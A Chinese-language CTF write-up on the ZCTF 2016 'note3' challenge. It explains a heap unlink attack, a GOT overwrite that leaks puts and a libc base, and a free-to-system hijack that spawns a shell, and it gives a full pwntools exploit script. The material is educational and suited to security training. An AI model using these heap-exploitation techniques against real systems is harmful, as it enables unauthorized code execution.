[Unlink]-ZCTF-2016-note3

0x00 前言

  • 依然是Unlink,写本文来警示自己exp一定要写的规范,因为我写的不规范,导致后期调试的时候一直多出来一个\n,找了半天才发现是因为格式不规范..

  • 题目下载链接:下载链接

  • 参考链接:

看雪

CTF-WIKI

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 与上文的note2一样,程序提供了5个选项。
  • New note,创建note,每个note的size和chunk都会存在bss段的对应位置。
  • Show note ,这次程序虽然提供了提供show,但却是输出"No show, No leak."
  • Edit note,相比note2,这次程序只提供了overwrite方法。
  • Delete note,能执行正常的free,并置0。
  • Exit,退出程序。

漏洞点1

  • 同note2一样,都会由于unsigned int 这个类型造成可写入大量数据。

漏洞点2

  • 由于程序editdelete函数里面对note ID的检验并不严谨,导致即使note ID是负数也能通过检验。

0x02 Do it!

  • 漏洞点1可以仅用Unlink来利用。
  • 但是漏洞2需要配合UAF。
  • 本文是针对Unlink来写的,所以利用了漏洞点1,构造方法和原理与note2一样,具体可以看前文,相比之下note3因为没有直接的leak,我们需要想办法进行leak。

前期模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding:utf-8 -*-
from pwn import *

c = process('./note3')
elf = ELF('./note3')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
def new(size,cont):
c.recvuntil('option--->>\n')
c.sendline('1')
c.recvuntil('(less than 1024)\n')
c.sendline(str(size))
c.recvuntil('Input the note content:\n')
c.sendline(str(cont))


def edit(id, cont):
c.recvuntil('option--->>\n')
c.sendline('3')
c.recvuntil('Input the id of the note:\n')
c.sendline(str(id))
c.recvuntil('new content:\n')
c.sendline(cont)
c.recvuntil("Edit success!\n",timeout = 0.5)#注意这里


def delete(idx):
c.recvuntil('option--->>\n')
c.sendline('4')
c.recvuntil('Input the id of the note:\n')
c.sendline(str(idx))
  • 因为我在第一次写的时候,deletec.recvuntil('Input the id of the note:\n')后面都没有加上\n,这样导致后面leak的时候总会把\n也读入进去,从而leak出来的结果不正确。为了严谨,对每个recvuntil都加上了\n
  • 注意代码中注意这里,这个设置了一个timeout,因为也不知道为什么,后期有一处edit的时候总是接收不到Edit success!\n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
target = 0x6020c0 + 0x8 #0x6020c0存的是当前chunk的指针,0x6020c8才是chunk指针数组的起始位置。
fd = target - 0x18
bk = target - 0x10

payload1 = 'a'*8 + p64(0xa1) + p64(fd) + p64(bk) + 'a'*0x60 #和note2一样的构造方法。

new(0x80,payload1)
new(0,'aaaa')
new(0x80,'aaaaaaaaaa')

delete(1) #delete以后进入fastbin,再次申请的时候还是申请的这一块
c.recvuntil("Delete success\n")

payload2 = 'a'*0x10 + p64(0xa0) + p64(0x90) #和note2一样的构造方法
new(0,payload2) #再次申请 并覆盖第三个note的prevsize和size的inuse位

delete(2) #unlink
c.recvuntil("Delete success\n")

leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
system = libc.symbols['system']
puts = libc.symbols['puts']

payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3) #这个位置总是recvuntil不成功,所以才在edit函数那块加了个timeout。这里执行以后chunk0的位置为free_got,chunk1的位置为puts_got

log.success('free_got = ' + hex(free_got))
log.success('puts_got = ' + hex(puts_got))
log.success('puts_plt = ' + hex(puts_plt))


payload4 = p64(puts_plt)[:-1] #注意这里的[:-1]由于p64总共8个字节,如果不加上[:-1]会由于sendline最后的\n覆盖掉与它紧邻位置的数据。而为什么能使用[:-1]? 可以输出hex(p64(puts_plt))试一下,会发现它是0x0000xxxxxxxxxx的形式,前面会有至少2个00,再加上小端序的问题,我们就相当于丢掉了开头的2个00,这样并不会产生太大影响,最主要的是我们保护了与它紧邻的数据。
edit(0,payload4)#执行以后我们的free_got就变成了puts_plt

delete(1)#表面上执行的是free()函数,实际上执行的是puts(puts_got),这样就完成了leak

puts_addr = u64(c.recvuntil("\nDelete success\n",drop=True).ljust(8,"\00"))

log.success('puts_addr = ' + hex(puts_addr))

getshell

1
2
3
4
5
6
7
8
9
10
11
12
new(0x20,'/bin/sh\00')#由于delete函数完成后会置0,所以这时候我们new一个新chunk的话,它会是chunk1

libcbase = puts_addr - puts
system_addr = libcbase + system

payload5 = p64(system_addr)[:-1]#依然注意[:-1] 原因和上面一样
edit(0,payload5)#这样free就变成了system


#gdb.attach(c)
delete(1)#表面上执行free()函数,实际上是system('/bin/sh')
c.interactive()

0x03完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

c = process('./note3')
elf = ELF('./note3')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
def new(size,cont):
c.recvuntil('option--->>\n')
c.sendline('1')
c.recvuntil('(less than 1024)\n')
c.sendline(str(size))
c.recvuntil('Input the note content:\n')
c.sendline(str(cont))


def edit(id, cont):
c.recvuntil('option--->>\n')
c.sendline('3')
c.recvuntil('Input the id of the note:\n')
c.sendline(str(id))
c.recvuntil('new content:\n')
c.sendline(cont)
c.recvuntil("Edit success!\n",timeout = 0.5)


def delete(idx):
c.recvuntil('option--->>\n')
c.sendline('4')
c.recvuntil('Input the id of the note:\n')
c.sendline(str(idx))

target = 0x6020c0 + 0x8
fd = target - 0x18
bk = target - 0x10

payload1 = 'a'*8 + p64(0xa1) + p64(fd) + p64(bk) + 'a'*0x60

new(0x80,payload1)
new(0,'aaaa')
new(0x80,'aaaaaaaaaa')

delete(1)
c.recvuntil("Delete success\n")

payload2 = 'a'*0x10 + p64(0xa0) + p64(0x90)
new(0,payload2)

delete(2)
c.recvuntil("Delete success\n")

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
system = libc.symbols['system']
puts = libc.symbols['puts']

payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3)

log.success('free_got = ' + hex(free_got))
log.success('puts_got = ' + hex(puts_got))
log.success('puts_plt = ' + hex(puts_plt))


payload4 = p64(puts_plt)[:-1]
edit(0,payload4)


delete(1)

puts_addr = u64(c.recvuntil("\nDelete success\n",drop=True).ljust(8,"\00"))

log.success('puts_addr = ' + hex(puts_addr))


new(0x20,'/bin/sh\00')

libcbase = puts_addr - puts
system_addr = libcbase + system

payload5 = p64(system_addr)[:-1]
edit(0,payload5)


delete(1)
c.interactive()